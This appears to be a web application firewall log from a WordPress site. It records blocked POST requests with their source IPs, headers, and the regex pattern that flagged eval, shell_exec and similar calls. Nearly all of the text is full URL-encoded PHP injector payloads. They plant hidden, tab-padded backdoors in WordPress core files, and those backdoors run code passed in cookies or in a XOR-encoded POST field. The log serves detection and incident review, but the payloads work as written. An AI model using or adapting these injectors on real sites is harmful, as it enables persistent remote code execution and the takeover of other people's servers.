IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:4330\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:50:01","171.244.34.150","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4180\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\n\nNI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:51:28","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4180\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\naG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:51:31","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/layout.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_POST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%253B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524m%253D0%253B%2520%2524m%253Cstrlen%2528%2524key%2529%253B%2520%2524m%252B%252B%2529%257B%2524comp%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524m%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524binding%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524property_set%2520%253D%25200%252C%2520%2524factor%2520%253D%2520count%2528%2524binding%2529%253B%2520%2524property_set%2520%253C%2520%2524factor%253B%2520%2524property_set%252B%252B%2529%2520%257B%2520%2524entry%2520%253D%2520%2524binding%255B%2524property_set%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524entry%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524entry%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524mrk%252C%2520%2524comp%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27